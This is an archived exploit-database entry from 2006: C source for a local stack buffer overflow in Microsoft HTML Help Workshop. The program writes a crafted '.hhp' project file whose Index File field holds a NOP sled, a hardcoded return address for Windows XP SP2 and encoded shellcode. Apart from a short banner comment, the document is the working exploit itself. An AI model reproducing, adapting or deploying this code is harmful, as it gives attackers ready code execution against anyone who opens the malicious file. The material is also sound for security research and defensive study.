Microsoft HTML Help Workshop - '.hhp' Local Buffer Overflow (3)

/*
\	Windows HTML Help Workshop Index File Stack Overflow Exploit
/						by Darkeagle
\
/	[http://eagle.blacksecurity.org]
\
/	MS coders codes so secure code. Keep coding }:>
\	
/	Original Advisory: http://eagle.blacksecurity.org/stuff/unl0ck/adv/55k700206.txt
\
/	Exploit tested in WinXP SP2 RUS.
\
*/
#include <stdio.h>
#include <string.h>
#include "stdafx.h"

char ep[]=
"[OPTIONS]\n"
"Compatibility=1.1 or later\n"
"Compiled file=XAKEP.chm\n"
"Index File=";

char pro[]=
"Display compile progress=No\n"
"Language=0x43f Êàçàõñêèé\n\n\n"
"[INFOTYPES]";

char shellcode[]=
        "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
        "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
	"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
	"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
	"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
        "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
	"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
	"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
	"\x61\xdd\x0e\x4d";

int main(int argc,char *argv[])
{
	printf("Windows HTML Help Workshop Index File stack overflow exploit\n");
        printf("\nBug discovered && exploited by darkeagle of Unl0ck Researchers");
	printf("\nWeb page: http://eagle.blacksecurity.org");

	FILE *vuln;
	char overflow[800];

	vuln = fopen("eagle.hhp","w+");
	memset(overflow, 0x90, 800);

	*(long*)&overflow[280] = 0x77E859BA;
	memcpy(overflow+292, &shellcode, sizeof(shellcode));

	if(vuln)
	{
		fprintf(vuln,"%s%s\n%s",ep,overflow,pro);
		fclose(vuln);
	}

	return 0;
}

// milw0rm.com [2006-02-14]